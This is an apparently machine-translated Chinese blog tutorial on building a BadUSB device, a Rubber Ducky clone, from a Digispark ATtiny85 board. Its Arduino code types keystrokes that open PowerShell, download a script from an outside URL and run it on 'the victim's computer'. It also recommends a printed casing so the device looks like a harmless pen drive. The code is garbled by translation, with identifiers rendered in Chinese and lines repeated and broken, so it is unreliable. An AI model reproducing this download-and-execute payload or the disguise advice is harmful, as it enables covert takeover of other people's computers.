今天,该条目是一种形式的教程,如何创建自己的可编程USB棒沿从Hak5昂贵和流行的橡胶鸭线。 它将工作在键盘的原则 – 连接到计算机进入一个预先编程的键序列。 第一步是购买基于ATtiny85微控制器的微型阿杜伊诺板 – 迪吉斯帕克。 最便宜的,你可以找到它从我们的朋友从中国流行的拍卖网站之一。 价格从低至1美元起 –Digispark由于有时 某些计算机(尤其是 USB3 端口)检测 DigiSpark 存在问题,因此最好立即囤积适配器, 这解决了这个问题(成本约2美元) –适配器当订购的 设备到达我们,我们需要编程其环境,这将是阿德鲁伊诺IDE –阿尔杜伊诺 教程连接到它 迪吉斯帕卡,我们可以在这里找到 –方案 我们的 控制器内存量有限,因此正确的有效载荷可能不适合它。 我通过在上面放置一个代码来解决这个问题,该代码使用电源壳下载带有效载荷的脚本,然后由电源壳在受害者的计算机上运行:
#include"迪基键盘.h"空格设置(){}
空循环(){迪吉键盘.发送键击(0);迪基键盘.延迟(500);迪基键盘.发送键击(KEY_R, MOD_GUI_LEFT); DigiKeyboard. 延迟 (500);迪吉键盘. 打印 ("电源壳"); 迪吉键盘. send 击打 (500); 迪吉键盘. 打印 ("电源壳"); 迪吉键盘. send 击键 (500); 迪基键盘. 打印 ("电源壳");迪吉键盘. sendKey 中风 (500): DigiKeyboard. 打印 ("电源壳"); 迪吉键盘. send 击打 (500); 迪吉键盘. 打印 ("电源壳"); 迪吉键盘. send 击键 (500); 迪吉键盘.KEY_enter); 迪吉键盘. 延迟 (1000); DigiKeyboard. print ("$client = 新对象系统. net. webClient"); 迪吉键盘. sendKey 中风 (KEY_ENTER); 迪吉键盘. 延迟 (500); 迪吉键盘. 打印 ("$client。下载档案("https://my127001.pl/script.ps1","脚本.ps1"):迪吉键盘. 发送击键 (KEY_ENTER);迪吉键盘. 延迟 (2000):迪吉键盘. 发送击键 (0, MOD_GUI_LEFT |KEY_R);迪吉键盘. 延迟 (750);DigiKeyboard.打印("电源壳.exe-文件脚本.ps1");迪吉键盘. 发送击键 (KEY_ENTER);(:;)[空*/
}
为了进一步使我们的五角形的外观更具权威性,使其不引起怀疑,它值得囤积在印刷住房,例如从链接下 的设计 – 住房整个事情看起来像这样,可以在几秒钟内控制受害者的计算机:[标题 ID]"attachment_172"对齐="对齐中心"宽度="623"] 可编程的"笔驱动器"[标题]